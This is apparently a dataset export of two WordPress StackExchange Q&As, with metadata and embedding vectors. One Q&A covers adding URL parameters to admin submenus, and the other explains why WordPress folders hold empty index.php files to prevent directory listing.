Q: How to create sub menu with a URL parameter? I would like to add parameter for the submenus, but when I click to the admin page I receive the following message:
You do not have sufficient permissions to access this page.
Code:
add_submenu_page(
'sandbox',
'Sandbox Options',
'Options',
'administrator',
'sandbox_options&tab=4',
'sandbox_options_display'
);
Without &tab=4 everything is okay.
A: You'd have to manipulate the global $submenu and modify the link in it. Or use jQuery.
The following example adds a submenu in the Dashboard menu and changes the destination link just after. The submenu page will dump the contents of the global var.
add_action( 'admin_menu', function()
{
add_submenu_page(
'index.php',
'Sandbox Options',
'Options',
'administrator',
'sandbox_options',
function() { global $submenu; var_dump($submenu); }
);
global $submenu;
$submenu['index.php'][11][2] = 'index.php?page=sandbox_options&tab=3';
});
[Update]
The example given, Redux Framework, uses the following technique:
*
*Add a menu page with a slug example_slug.
*Add the submenu pages and use the same slug example_slug + &tab=N.
*All the menu and submenu pages are rendered with the menu callback. The submenu have null callbacks.
Example:
add_submenu_page(
'sandbox',
'Sandbox Options',
'Options',
'add_users',
'sandbox&tab=4',
'__return_null'
);
A: Basically you need to reconstruct the url, because plugin_basename will strip your extra query args after you register the page with query args.
Full (working/tested) solution follows:
define( 'PARENT_SLUG', 'index.php' ); // where to put the submenu
define( 'PAGE_SLUG', 'wp190913_options' ); // submenu slug
define( 'EXTRA_ARG', 'tab' );
define( 'EXTRA_ARG_VALUE', 4 );
add_action( 'admin_menu', 'wp190913_add_page', 11 );
add_action( 'admin_menu', 'wp190913_add_page_args', 12 );
/**
* Register submenu page
*/
function wp190913_add_page() {
add_submenu_page(
PARENT_SLUG,
__('wp190913 Options', 'wp190913_textdomain' ),
__('wp190913 Options', 'wp190913_textdomain'),
'manage_options',
PAGE_SLUG,
'wp190913_display_page'
);
}
/**
* Add extra query arg for submenu page
*/
function wp190913_add_page_args() {
global $submenu;
$position = wp190913_search_submenu( PAGE_SLUG, PARENT_SLUG );
// make sure we modify our page
if ( is_int($position) && $submenu[PARENT_SLUG][$position][2] == PAGE_SLUG ) {
// we will recompose the whole url, starting with parent
$submenu[PARENT_SLUG][$position][2] = add_query_arg( 'page', PAGE_SLUG, PARENT_SLUG );
$submenu[PARENT_SLUG][$position][2] = add_query_arg( EXTRA_ARG, EXTRA_ARG_VALUE, $submenu[PARENT_SLUG][$position][2] );
}
}
/**
* Find submenu key in it's parent array.
*
* @param string $page_slug
* @param string $parent_slug
*
* @return null
*/
function wp190913_search_submenu( $page_slug, $parent_slug ) {
global $submenu;
if ( !isset( $submenu[$parent_slug] ) )
return null;
foreach ( $submenu[$parent_slug] as $i => $item ) {
if ( $page_slug == $item[2] ) {
return $i;
}
}
return null;
}
/**
* Submenu page content.
*/
function wp190913_display_page() {
// Do stuff
echo 'wp190913_display_page';
}
A: I solved it like this:
class Banner{
function __construct(){
add_action('admin_menu', array($this,'adminmenu'), 200);
}
function adminmenu(){
add_submenu_page(
'adrotate',
'AdRotate Pro · ' . __('Banner Tags', 'adrotate-pro'),
__('Banner Tags', 'adrotate-pro'),
'adrotate_ad_manage',
'adrotate-banner-tags',
array($this,'adrotate_banner_tags')
);
}
function adrotate_banner_tags(){
wp_safe_redirect(admin_url('/edit-tags.php?taxonomy=' . TAX_TAGS));
exit;
}
}
new Banner();
|
wordpress
|
{
"language": "en",
"length": 454,
"provenance": "stackexchange_00019.jsonl.gz:437310",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114810"
}
|
[
0.1070556640625,
-0.0082855224609375,
0.039520263671875,
-0.03289794921875,
0.0295867919921875,
-0.02294921875,
0.059814453125,
-0.056060791015625,
-0.00533294677734375,
-0.01081085205078125,
0.0010623931884765625,
-0.0119171142578125,
-0.01873779296875,
-0.056549072265625,
0.0260772705078125,
-0.0287322998046875,
0.0458984375,
-0.005382537841796875,
0.0026702880859375,
0.0035953521728515625,
-0.0241546630859375,
0.02777099609375,
0.0027408599853515625,
0.0660400390625,
0.032470703125,
-0.0703125,
-0.00811767578125,
-0.00458526611328125,
-0.007083892822265625,
-0.006649017333984375,
0.006305694580078125,
0.0333251953125,
-0.01351165771484375,
0.01540374755859375,
0.034454345703125,
0.003322601318359375,
0.018157958984375,
0.01453399658203125,
0.0245819091796875,
0.0014696121215820312,
0.038177490234375,
-0.0241851806640625,
0.000942230224609375,
0.050811767578125,
-0.01739501953125,
-0.057342529296875,
0.06573486328125,
-0.0250701904296875,
-0.0088653564453125,
-0.00644683837890625,
0.03533935546875,
0.0026111602783203125,
0.024322509765625,
-0.00937652587890625,
-0.0025787353515625,
0.0220184326171875,
0.0118255615234375,
-0.0084228515625,
0.02081298828125,
0.033447265625,
-0.025390625,
-0.005523681640625,
0.0068359375,
-0.0546875,
0.01551055908203125,
-0.01459503173828125,
-0.0132293701171875,
0.0179443359375,
-0.02984619140625,
0.050872802734375,
0.040863037109375,
-0.033294677734375,
-0.007965087890625,
0.006320953369140625,
-0.0030841827392578125,
-0.045501708984375,
0.042022705078125,
0.00691986083984375,
-0.00492095947265625,
0.026824951171875,
0.0274810791015625,
0.0034236907958984375,
-0.0199737548828125,
0.00888824462890625,
-0.000621795654296875,
0.0201568603515625,
-0.012176513671875,
-0.037139892578125,
-0.03497314453125,
0.0027923583984375,
-0.0345458984375,
-0.05126953125,
0.028961181640625,
0.00830078125,
-0.04034423828125,
-0.0007357597351074219,
0.00771331787109375,
0.034942626953125,
0.0210113525390625,
0.0361328125,
0.0100555419921875,
-0.047210693359375,
0.06121826171875,
-0.057342529296875,
-0.00258636474609375,
0.049346923828125,
0.0167083740234375,
0.0014905929565429688,
0.005397796630859375,
0.0041656494140625,
-0.006877899169921875,
-0.00579071044921875,
0.00994110107421875,
-0.034210205078125,
-0.004665374755859375,
-0.0017414093017578125,
-0.011444091796875,
-0.0145263671875,
0.01131439208984375,
-0.042694091796875,
-0.00714111328125,
0.0262298583984375,
-0.015716552734375,
-0.005626678466796875,
-0.0120849609375,
-0.00634765625,
0.00794219970703125,
-0.0163116455078125,
-0.0006322860717773438,
-0.00860595703125,
-0.014373779296875,
0.020263671875,
0.06634521484375,
0.05230712890625,
0.00775146484375,
-0.00733184814453125,
0.01751708984375,
-0.0284881591796875,
-0.0203399658203125,
0.007213592529296875,
0.00927734375,
-0.00943756103515625,
-0.0209808349609375,
-0.0211334228515625,
0.01369476318359375,
0.0190887451171875,
-0.0010747909545898438,
-0.0008311271667480469,
0.0289306640625,
-0.0252685546875,
0.0281829833984375,
-0.0802001953125,
0.0243988037109375,
0.007259368896484375,
-0.0516357421875,
0.00965118408203125,
-0.032958984375,
0.0039043426513671875,
-0.01108551025390625,
-0.0103607177734375,
-0.036102294921875,
0.0011043548583984375,
0.027252197265625,
-0.04156494140625,
-0.04449462890625,
-0.0117034912109375,
-0.01129913330078125,
-0.01324462890625,
0.0214996337890625,
0.04180908203125,
0.01922607421875,
-0.02777099609375,
-0.06329345703125,
0.03228759765625,
0.0200653076171875,
0.018646240234375,
0.00899505615234375,
0.0196380615234375,
0.01425933837890625,
0.0261077880859375,
0.008331298828125,
-0.027435302734375,
0.04864501953125,
-0.011993408203125,
-0.06488037109375,
0.063720703125,
-0.02264404296875,
0.052886962890625,
0.05889892578125,
-0.01092529296875,
0.01605224609375,
0.01299285888671875,
-0.035888671875,
0.016448974609375,
-0.00778961181640625,
-0.0088043212890625,
0.00891876220703125,
0.01561737060546875,
-0.0224609375,
-0.007686614990234375,
-0.035491943359375,
0.013885498046875,
-0.0108184814453125,
0.038909912109375,
-0.01549530029296875,
0.00804901123046875,
-0.004482269287109375,
0.03179931640625,
0.02996826171875,
0.0182647705078125,
-0.0293121337890625,
-0.0243682861328125,
0.013702392578125,
-0.031707763671875,
-0.0155181884765625,
0.023651123046875,
-0.009552001953125,
0.01904296875,
-0.027252197265625,
0.0030918121337890625,
0.0003960132598876953,
-0.011444091796875,
-0.01259613037109375,
0.024017333984375,
0.0382080078125,
-0.019012451171875,
0.01064300537109375,
-0.0268402099609375,
0.058624267578125,
0.01425933837890625,
-0.0165863037109375,
0.0015954971313476562,
0.0306243896484375,
0.018768310546875,
-0.03753662109375,
0.0239105224609375,
0.0006322860717773438,
-0.0092315673828125,
-0.0301666259765625,
0.022674560546875,
0.041473388671875,
0.0311737060546875,
-0.017791748046875,
-0.025299072265625,
0.06341552734375,
-0.037689208984375,
-0.0013551712036132812,
-0.0139007568359375,
-0.0537109375,
0.01136016845703125,
0.031036376953125,
0.0498046875,
0.007293701171875,
0.02685546875,
-0.015777587890625,
0.018157958984375,
-0.0235443115234375,
-0.0081939697265625,
0.0105438232421875,
-0.020263671875,
0.009613037109375,
0.01311492919921875,
0.0033206939697265625,
-0.00478363037109375,
-0.0191650390625,
-0.0148162841796875,
-0.017974853515625,
-0.00103759765625,
0.01168060302734375,
-0.0384521484375,
0.0291900634765625,
-0.0016450881958007812,
-0.01611328125,
-0.00835418701171875,
0.0235748291015625,
-0.0306549072265625,
-0.033111572265625,
0.00624847412109375,
0.02197265625,
-0.0207366943359375,
-0.0001723766326904297,
0.06085205078125,
0.019775390625,
-0.0276641845703125,
-0.036163330078125,
-0.024871826171875,
0.01983642578125,
-0.004787445068359375,
0.01483154296875,
0.0005030632019042969,
0.04400634765625,
-0.04150390625,
-0.05438232421875,
0.047271728515625,
-0.02960205078125,
-0.0484619140625,
0.0667724609375,
0.0245819091796875,
-0.01239776611328125,
0.01299285888671875,
0.065673828125,
0.046783447265625,
-0.01593017578125,
-0.005950927734375,
0.00757598876953125,
-0.0222015380859375,
-0.0537109375,
0.0253753662109375,
0.00821685791015625,
-0.0254974365234375,
0.000027239322662353516,
0.086181640625,
0.01546478271484375,
0.007419586181640625,
-0.0192718505859375,
-0.0369873046875,
-0.0165252685546875,
-0.00641632080078125,
-0.03509521484375,
-0.0105743408203125,
0.041229248046875,
-0.06982421875,
0.0279998779296875,
0.016143798828125,
-0.041839599609375,
-0.02606201171875,
0.066650390625,
0.006317138671875,
-0.034576416015625,
-0.0036163330078125,
-0.01497650146484375,
-0.048187255859375,
-0.059234619140625,
-0.006137847900390625,
0.017608642578125,
0.0170745849609375,
0.0011587142944335938,
0.0234375,
-0.004070281982421875,
-0.023834228515625,
0.0185546875,
-0.00762176513671875,
-0.0024566650390625,
-0.004856109619140625,
0.0294189453125,
-0.033203125,
0.037139892578125,
-0.0009508132934570312,
0.05767822265625,
0.035125732421875,
-0.03277587890625,
-0.00785064697265625,
-0.031524658203125,
-0.04205322265625,
0.0014781951904296875,
-0.005313873291015625,
0.0229339599609375,
0.01235198974609375,
0.045257568359375,
-0.01678466796875,
-0.0118255615234375,
-0.014892578125,
-0.038238525390625,
-0.032012939453125,
0.03948974609375,
-0.00618743896484375,
-0.052032470703125,
0.01080322265625,
0.038330078125,
0.04833984375,
0.00478363037109375,
0.03594970703125,
-0.017791748046875,
-0.025787353515625,
-0.006397247314453125,
-0.0257568359375,
0.0809326171875,
0.01105499267578125,
-0.027099609375,
0.046478271484375,
0.0227203369140625,
0.03558349609375,
-0.01064300537109375,
0.01166534423828125,
-0.00936126708984375,
0.0295867919921875,
-0.0221099853515625,
0.0340576171875,
-0.0472412109375,
-0.021759033203125,
-0.0540771484375,
0.03656005859375,
-0.042083740234375,
0.0019073486328125,
-0.024749755859375,
-0.018707275390625,
0.06182861328125,
0.0001729726791381836,
-0.04339599609375,
-0.034698486328125,
-0.0270538330078125,
-0.005859375,
-0.0212554931640625,
-0.03155517578125,
0.0007724761962890625,
-0.049774169921875,
0.00435638427734375,
-0.0312042236328125,
0.0390625,
-0.0435791015625,
0.000059604644775390625,
0.0229949951171875,
-0.0007181167602539062,
-0.039398193359375,
-0.027862548828125,
0.0031261444091796875,
-0.09356689453125,
-0.02264404296875,
0.03997802734375,
0.06121826171875,
-0.004520416259765625,
-0.0657958984375,
-0.0311126708984375,
0.037200927734375,
0.03375244140625,
0.00533294677734375,
0.0304718017578125,
-0.00799560546875,
0.039642333984375,
-0.0197296142578125,
0.0017375946044921875,
-0.0249786376953125,
-0.0007719993591308594,
0.00415802001953125,
-0.00986480712890625,
0.040191650390625,
-0.02294921875,
0.0243377685546875,
0.00748443603515625,
-0.029876708984375,
-0.0919189453125,
-0.053466796875,
-0.0122222900390625,
-0.034942626953125,
0.004619598388671875,
-0.0129852294921875,
-0.022613525390625,
-0.0635986328125,
-0.023162841796875,
-0.0144500732421875,
-0.030059814453125,
0.03045654296875,
-0.009918212890625,
0.022674560546875,
-0.005466461181640625,
-0.020751953125,
-0.01727294921875,
0.0100860595703125,
-0.032623291015625,
0.0201263427734375,
-0.01390838623046875,
0.0016145706176757812,
0.04119873046875,
-0.0433349609375,
0.06854248046875,
-0.04248046875,
-0.01271820068359375,
-0.01409149169921875,
-0.0254669189453125,
0.028717041015625,
0.004238128662109375,
0.003536224365234375,
-0.0024623870849609375,
-0.018707275390625,
-0.01064300537109375,
-0.05902099609375,
0.037994384765625,
0.0151519775390625,
0.033905029296875,
-0.04156494140625,
-0.037628173828125,
-0.00516510009765625,
-0.0119171142578125,
0.045562744140625,
0.024658203125,
-0.0030498504638671875,
0.033660888671875,
0.03302001953125,
-0.01551055908203125,
0.00238800048828125,
0.01446533203125,
-0.0042266845703125,
0.0311431884765625,
-0.0032634735107421875,
-0.0109405517578125,
-0.0150146484375,
-0.0025157928466796875,
0.0682373046875,
0.041961669921875,
0.0101776123046875,
-0.070556640625,
-0.01187896728515625,
0.03826904296875,
-0.055816650390625,
0.0220184326171875,
0.0079498291015625,
0.0231475830078125,
0.0006918907165527344,
0.0167694091796875,
0.038482666015625,
-0.016326904296875,
-0.0210723876953125,
0.0516357421875,
0.02398681640625,
-0.00909423828125,
-0.030975341796875,
0.08245849609375,
0.0068206787109375,
0.0127105712890625,
0.0015163421630859375,
-0.0019550323486328125,
-0.01332855224609375,
0.0299835205078125,
0.01166534423828125,
0.0265045166015625,
0.0034465789794921875,
0.011077880859375,
0.038421630859375,
0.013519287109375,
0.021026611328125,
0.053436279296875,
0.0238189697265625,
0.01434326171875,
-0.01042938232421875,
-0.040435791015625,
-0.056427001953125,
-0.01861572265625,
0.02850341796875,
-0.034576416015625,
-0.070556640625,
-0.006511688232421875,
-0.014739990234375,
0.00452423095703125,
-0.039093017578125,
0.00836181640625,
0.0243377685546875,
0.0233154296875,
0.0423583984375,
-0.02587890625,
-0.0030670166015625,
0.01105499267578125,
0.0185699462890625,
-0.012359619140625,
-0.0040130615234375,
0.006481170654296875,
-0.06402587890625,
-0.0149993896484375,
-0.032745361328125,
-0.02197265625,
0.07659912109375,
-0.01058197021484375,
0.00894927978515625,
-0.0157470703125,
-0.00894927978515625,
-0.0190277099609375,
-0.01739501953125,
0.07989501953125,
0.0301666259765625,
-0.039764404296875,
0.01218414306640625,
-0.031005859375,
-0.00412750244140625,
0.03851318359375,
-0.0124359130859375,
-0.020294189453125,
-0.04620361328125,
0.002552032470703125,
0.0140533447265625,
0.007598876953125,
0.003814697265625,
-0.04248046875,
0.01177215576171875,
0.019927978515625,
0.0210113525390625,
0.027923583984375,
0.044708251953125,
-0.053955078125,
0.041717529296875,
-0.006381988525390625,
0.004375457763671875,
-0.0389404296875,
-0.0076751708984375,
0.00299835205078125,
-0.023773193359375,
0.00724029541015625,
-0.0394287109375,
0.023590087890625,
0.0253448486328125,
0.0794677734375,
0.00685882568359375,
0.0132293701171875,
0.0033626556396484375,
0.0122222900390625,
-0.0255126953125,
0.031585693359375,
-0.00737762451171875,
-0.0018310546875,
0.0357666015625,
-0.043975830078125,
0.0236358642578125,
-0.01605224609375,
0.0191802978515625,
0.022613525390625,
-0.06707763671875,
0.035980224609375,
0.051055908203125,
-0.08447265625,
0.0767822265625,
0.13720703125,
0.0170135498046875,
0.058135986328125,
0.0078125,
-0.00872039794921875,
0.028900146484375,
0.0256500244140625,
0.0039520263671875,
0.02069091796875,
0.0565185546875,
0.004055023193359375,
-0.01427459716796875,
0.033203125,
-0.0281219482421875,
0.0008745193481445312,
0.06109619140625,
0.046722412109375,
-0.0997314453125,
0.00997161865234375,
-0.017669677734375,
0.00524139404296875,
0.042327880859375,
-0.00789642333984375,
-0.005584716796875,
-0.01030731201171875,
0.0178375244140625,
-0.02301025390625,
-0.0343017578125,
-0.005397796630859375,
-0.00023829936981201172,
-0.01198577880859375,
-0.016998291015625,
0.0284271240234375,
0.0140533447265625,
0.034332275390625,
0.024444580078125,
-0.05108642578125,
0.056610107421875,
0.01340484619140625,
-0.0230255126953125,
0.0127410888671875,
-0.01352691650390625,
0.011260986328125,
0.027801513671875,
-0.04766845703125,
0.0074462890625,
0.016357421875,
-0.006343841552734375,
0.01788330078125,
0.034698486328125,
-0.025421142578125,
0.01474761962890625,
0.01345062255859375,
-0.0296478271484375,
0.0399169921875,
0.0149688720703125,
-0.01099395751953125,
-0.004238128662109375,
0.0014247894287109375,
-0.011260986328125,
-0.0260772705078125,
0.0277557373046875,
-0.0157012939453125,
0.00577545166015625,
0.105224609375,
-0.0173492431640625,
-0.041168212890625,
0.0159149169921875,
-0.0065155029296875,
-0.016204833984375,
0.01520538330078125,
0.00800323486328125,
-0.043304443359375,
-0.03271484375,
0.01544952392578125,
-0.054931640625,
0.0106353759765625,
0.01971435546875,
-0.05426025390625,
0.0860595703125,
-0.037689208984375,
0.018310546875,
-0.0238189697265625,
0.05767822265625,
0.0218353271484375,
0.038848876953125,
-0.0277252197265625,
0.04083251953125,
0.0161285400390625,
0.0297088623046875,
-0.017364501953125,
0.0006990432739257812,
0.0166015625,
0.020233154296875,
0.02093505859375,
0.0086822509765625,
-0.00368499755859375,
-0.0005273818969726562,
0.0267791748046875,
-0.03167724609375,
-0.033660888671875,
0.0435791015625,
-0.00739288330078125,
-0.00792694091796875,
0.03985595703125,
-0.032135009765625,
0.0194549560546875,
-0.029205322265625,
0.0031585693359375,
-0.004810333251953125,
-0.0009121894836425781,
-0.0107879638671875,
0.01042938232421875,
0.0166168212890625,
-0.025482177734375,
0.01493072509765625,
0.0015888214111328125,
-0.00870513916015625,
-0.0252685546875,
0.0017461776733398438,
-0.035614013671875,
0.006008148193359375,
-0.00984954833984375,
-0.02001953125,
0.018463134765625,
0.0205078125,
-0.023956298828125,
-0.00977325439453125,
0.0086669921875,
-0.0158843994140625,
-0.0197906494140625,
-0.031158447265625,
0.02996826171875,
-0.004486083984375,
0.081787109375,
0.005168914794921875,
0.0330810546875,
-0.07061767578125,
-0.027374267578125,
0.0472412109375,
0.09515380859375,
-0.0452880859375,
-0.03790283203125,
0.00722503662109375,
-0.01139068603515625,
0.0099334716796875,
0.032562255859375,
0.05450439453125,
0.0284576416015625,
0.036346435546875,
-0.0310211181640625,
-0.0013589859008789062,
-0.00702667236328125,
0.01375579833984375,
-0.01168060302734375,
0.01007080078125,
0.00931549072265625,
0.032012939453125,
-0.0305938720703125,
-0.0153350830078125,
0.0294036865234375,
0.0555419921875,
0.007595062255859375,
0.042724609375,
-0.0207061767578125,
-0.027252197265625,
-0.0096282958984375,
-0.006710052490234375,
-0.0131683349609375,
0.0187530517578125,
-0.0241851806640625,
-0.037200927734375,
0.025054931640625,
0.034271240234375,
0.00620269775390625,
0.0234527587890625,
0.037261962890625,
0.0202484130859375,
-0.0146636962890625,
-0.013275146484375,
0.01386260986328125,
-0.0199737548828125,
-0.0101470947265625,
0.0062103271484375,
-0.00031256675720214844,
0.0172576904296875,
-0.01238250732421875,
0.000720977783203125,
0.008270263671875,
0.04278564453125,
0.00978851318359375,
0.03594970703125,
0.000896453857421875,
0.0186309814453125,
0.0218658447265625,
0.006023406982421875,
0.0301055908203125,
0.034942626953125,
-0.055145263671875,
-0.00949859619140625,
-0.0190277099609375,
-0.0531005859375,
0.05322265625,
0.05267333984375,
-0.0380859375,
0.032745361328125,
-0.00643157958984375,
0.00574493408203125,
0.0079193115234375,
-0.0219879150390625,
0.0192718505859375,
0.030059814453125,
0.0283203125,
0.01458740234375,
-0.052703857421875,
0.000537872314453125,
0.00930023193359375,
-0.01030731201171875,
-0.005046844482421875,
0.08038330078125,
-0.0066070556640625,
-0.0009899139404296875,
-0.030792236328125,
-0.01385498046875,
-0.012908935546875,
-0.044647216796875,
0.0268096923828125,
-0.005123138427734375,
-0.0030994415283203125,
0.006038665771484375,
-0.0258331298828125,
0.023590087890625,
0.022125244140625,
-0.0380859375,
0.0031566619873046875,
0.00550079345703125,
0.00811767578125,
-0.024200439453125,
0.0194549560546875,
-0.02337646484375,
-0.0196533203125,
-0.0204315185546875,
-0.01654052734375,
0.01062774658203125,
0.032958984375,
0.0137786865234375,
0.01190185546875,
-0.01142120361328125,
-0.00974273681640625,
-0.01335906982421875,
-0.0003719329833984375,
-0.016510009765625,
0.0240936279296875,
-0.046173095703125,
0.057342529296875,
0.0200958251953125,
-0.0130615234375,
0.036956787109375,
0.0210723876953125,
-0.0386962890625,
0.031158447265625,
0.002262115478515625,
0.025848388671875,
0.024200439453125,
0.035614013671875,
-0.033905029296875,
0.003635406494140625,
0.0252532958984375,
-0.016082763671875,
-0.004150390625,
0.01030731201171875,
-0.045013427734375,
-0.06854248046875,
-0.0010471343994140625,
0.0276031494140625,
-0.041229248046875,
-0.0325927734375,
-0.10943603515625,
0.017608642578125,
0.029083251953125,
0.021636962890625,
-0.0841064453125,
0.04736328125,
-0.010833740234375,
0.076171875,
-0.01497650146484375,
0.05029296875,
-0.022186279296875,
-0.0283203125,
-0.05389404296875,
0.0236358642578125,
-0.03564453125,
0.0012540817260742188,
-0.0004107952117919922,
0.0231781005859375,
0.034149169921875,
-0.032989501953125,
0.017242431640625,
0.00019991397857666016,
0.03167724609375,
0.043670654296875,
-0.016510009765625,
-0.0036258697509765625,
-0.000720977783203125,
0.0209808349609375,
-0.05340576171875,
-0.04266357421875,
0.0206451416015625,
-0.0225372314453125,
-0.00878143310546875,
0.0131072998046875,
-0.0216064453125,
-0.00464630126953125,
-0.040985107421875,
-0.0418701171875,
0.045074462890625,
0.0101776123046875,
-0.027801513671875,
-0.01190948486328125,
0.0273590087890625,
-0.0099029541015625,
0.0190277099609375,
-0.0166778564453125,
-0.0005807876586914062,
0.00830078125,
0.006175994873046875,
-0.001987457275390625,
0.0328369140625,
0.03631591796875,
-0.0218963623046875,
0.00551605224609375,
-0.0091094970703125,
-0.011199951171875,
-0.0130462646484375,
0.01971435546875,
-0.040679931640625,
0.050689697265625,
0.042144775390625,
-0.0187530517578125,
-0.0357666015625,
0.006595611572265625,
-0.0168609619140625,
-0.01837158203125,
-0.0360107421875,
-0.028411865234375,
-0.005886077880859375,
0.0888671875,
0.060150146484375,
0.0269775390625,
-0.050750732421875,
-0.0467529296875,
-0.05059814453125,
0.01308441162109375,
0.007511138916015625,
0.0135955810546875,
-0.054534912109375,
0.040313720703125,
0.02117919921875,
0.02020263671875,
-0.0258331298828125,
0.0247650146484375,
-0.005695343017578125,
-0.038726806640625,
0.02783203125,
0.00885009765625,
-0.02215576171875,
-0.0130157470703125,
0.07861328125,
-0.05426025390625,
-0.0169677734375,
0.0263671875,
0.014678955078125,
0.017364501953125,
-0.0177001953125,
-0.004940032958984375,
-0.0006275177001953125,
-0.04547119140625,
0.0262908935546875,
-0.015350341796875,
0.07208251953125,
-0.06475830078125,
-0.03460693359375,
-0.0166015625,
0.0165252685546875,
0.004222869873046875,
0.0208587646484375,
-0.021087646484375,
0.043365478515625,
0.006877899169921875,
0.0772705078125,
0.009429931640625,
0.01250457763671875,
-0.0231475830078125,
0.057159423828125,
0.0276031494140625,
-0.039764404296875,
0.042999267578125,
-0.02813720703125,
-0.026519775390625,
-0.0162506103515625,
-0.08062744140625,
-0.08050537109375,
0.0283050537109375,
0.0225677490234375,
-0.016204833984375,
0.0419921875
] |
bc8e0e23bb53446dd7005c29c0d3683764beea3a
|
Wordpress Stackexchange
Q: Why do folders have Empty Index.php Pages?
*
*/wp-content/
*/plugins/
*/themes/
All have empty index.php files in it. Are they safe to delete? What is their purpose, why even be in the default install if they're empty? What is their purpose?
A: As a security measure, WordPress includes these index.php files to account for hosts that by default enable directory browsing.
Including them makes sure that no one can see the list of files in that directory, which could let them know what plugins or versions you are running and thus give them some things to try to hack your site.
As long as you don't have directory listings enabled, they are safe to delete (although there's probably no reason to delete them).
|
Q: Why do folders have Empty Index.php Pages?
*
*/wp-content/
*/plugins/
*/themes/
All have empty index.php files in it. Are they safe to delete? What is their purpose, why even be in the default install if they're empty? What is their purpose?
A: As a security measure, WordPress includes these index.php files to account for hosts that by default enable directory browsing.
Including them makes sure that no one can see the list of files in that directory, which could let them know what plugins or versions you are running and thus give them some things to try to hack your site.
As long as you don't have directory listings enabled, they are safe to delete (although there's probably no reason to delete them).
|
wordpress
|
{
"language": "en",
"length": 124,
"provenance": "stackexchange_00019.jsonl.gz:437318",
"question_score": "5",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114843"
}
|
[
0.0330810546875,
-0.014434814453125,
-0.0023746490478515625,
-0.021148681640625,
0.0024890899658203125,
-0.0247650146484375,
0.050048828125,
-0.0011949539184570312,
-0.00907135009765625,
-0.00713348388671875,
-0.015869140625,
-0.01259613037109375,
-0.01812744140625,
-0.04364013671875,
0.0290985107421875,
-0.040313720703125,
0.0176544189453125,
-0.022918701171875,
0.0228729248046875,
-0.006053924560546875,
0.0227508544921875,
0.01544952392578125,
0.031829833984375,
-0.0093536376953125,
-0.0133514404296875,
-0.007259368896484375,
0.051239013671875,
-0.0278472900390625,
-0.034393310546875,
-0.060333251953125,
-0.005298614501953125,
0.06646728515625,
-0.01331329345703125,
0.028900146484375,
0.0185394287109375,
0.02032470703125,
0.0156402587890625,
0.01488494873046875,
0.036468505859375,
0.00710296630859375,
0.025604248046875,
-0.018463134765625,
0.10870361328125,
-0.01727294921875,
0.040069580078125,
0.0108184814453125,
0.0399169921875,
-0.0477294921875,
0.0224761962890625,
-0.052978515625,
0.01483154296875,
0.01435089111328125,
0.0345458984375,
-0.08642578125,
-0.0197296142578125,
-0.01145172119140625,
0.00299072265625,
0.0114593505859375,
0.027801513671875,
-0.01580810546875,
-0.036346435546875,
0.007495880126953125,
0.01425933837890625,
-0.005229949951171875,
0.0027713775634765625,
-0.0096893310546875,
-0.06341552734375,
0.0284271240234375,
-0.05914306640625,
0.0031986236572265625,
0.039093017578125,
-0.060272216796875,
0.007266998291015625,
-0.04571533203125,
0.01146697998046875,
0.0287933349609375,
-0.01528167724609375,
-0.003787994384765625,
0.023193359375,
0.01116180419921875,
-0.022216796875,
-0.02911376953125,
-0.042938232421875,
-0.032470703125,
0.0166015625,
0.0023345947265625,
0.0028781890869140625,
0.0015859603881835938,
-0.0013608932495117188,
-0.00960540771484375,
-0.01433563232421875,
0.0101165771484375,
0.0194244384765625,
-0.0184173583984375,
-0.0455322265625,
-0.0182647705078125,
0.0206756591796875,
0.052276611328125,
-0.0138702392578125,
0.0125274658203125,
0.0180816650390625,
-0.04266357421875,
0.0301513671875,
-0.0269012451171875,
0.00147247314453125,
0.0638427734375,
0.0013380050659179688,
-0.005054473876953125,
0.0150146484375,
0.0076446533203125,
0.0230712890625,
0.003692626953125,
0.0005536079406738281,
-0.06866455078125,
-0.0011720657348632812,
0.018951416015625,
-0.016204833984375,
0.0209503173828125,
0.036590576171875,
-0.00165557861328125,
0.0007853507995605469,
0.025146484375,
-0.021392822265625,
-0.0229339599609375,
-0.0027713775634765625,
-0.025634765625,
-0.02105712890625,
0.0097503662109375,
0.040374755859375,
0.06524658203125,
-0.032257080078125,
-0.0263671875,
0.0163726806640625,
-0.0012969970703125,
-0.01019287109375,
-0.042144775390625,
-0.010101318359375,
0.0107879638671875,
-0.01270294189453125,
-0.0069122314453125,
0.00848388671875,
-0.033905029296875,
0.01049041748046875,
-0.0168609619140625,
0.008544921875,
0.015838623046875,
0.01233673095703125,
0.039642333984375,
-0.0010328292846679688,
-0.00446319580078125,
-0.00659942626953125,
-0.0007147789001464844,
0.0261688232421875,
-0.0008559226989746094,
0.02105712890625,
0.0035152435302734375,
0.04437255859375,
-0.0184173583984375,
-0.0289306640625,
-0.007320404052734375,
0.0204010009765625,
-0.0137481689453125,
-0.0198211669921875,
-0.046966552734375,
-0.051513671875,
-0.007381439208984375,
-0.032135009765625,
-0.0017681121826171875,
0.0173187255859375,
-0.0223388671875,
0.01322174072265625,
-0.046539306640625,
-0.0196075439453125,
0.035491943359375,
0.02557373046875,
0.05828857421875,
0.022186279296875,
-0.0306243896484375,
0.0296478271484375,
0.053680419921875,
-0.0013170242309570312,
-0.0214385986328125,
0.0528564453125,
-0.024749755859375,
-0.070556640625,
0.0201263427734375,
0.0141448974609375,
0.06011962890625,
0.0272064208984375,
0.01763916015625,
0.0621337890625,
-0.002826690673828125,
-0.047576904296875,
-0.0142974853515625,
0.02508544921875,
0.0180206298828125,
-0.01071929931640625,
0.0007834434509277344,
0.0059814453125,
-0.031494140625,
0.015960693359375,
0.00386810302734375,
0.018280029296875,
-0.0272216796875,
-0.048126220703125,
-0.0057525634765625,
-0.00879669189453125,
0.031005859375,
-0.0159149169921875,
0.015167236328125,
0.0254669189453125,
0.00959014892578125,
-0.0482177734375,
0.01373291015625,
-0.019866943359375,
-0.001522064208984375,
-0.008270263671875,
0.0142974853515625,
0.0149078369140625,
0.007015228271484375,
0.0170745849609375,
-0.005352020263671875,
0.01215362548828125,
-0.01409912109375,
0.0496826171875,
-0.0020542144775390625,
-0.0261993408203125,
-0.023040771484375,
0.043121337890625,
-0.01232147216796875,
0.020782470703125,
0.0325927734375,
0.03289794921875,
0.0186004638671875,
-0.04254150390625,
-0.0128173828125,
-0.0243682861328125,
-0.06085205078125,
0.004405975341796875,
0.056854248046875,
0.0188751220703125,
0.053741455078125,
-0.022613525390625,
0.007526397705078125,
0.07818603515625,
-0.033782958984375,
0.0005645751953125,
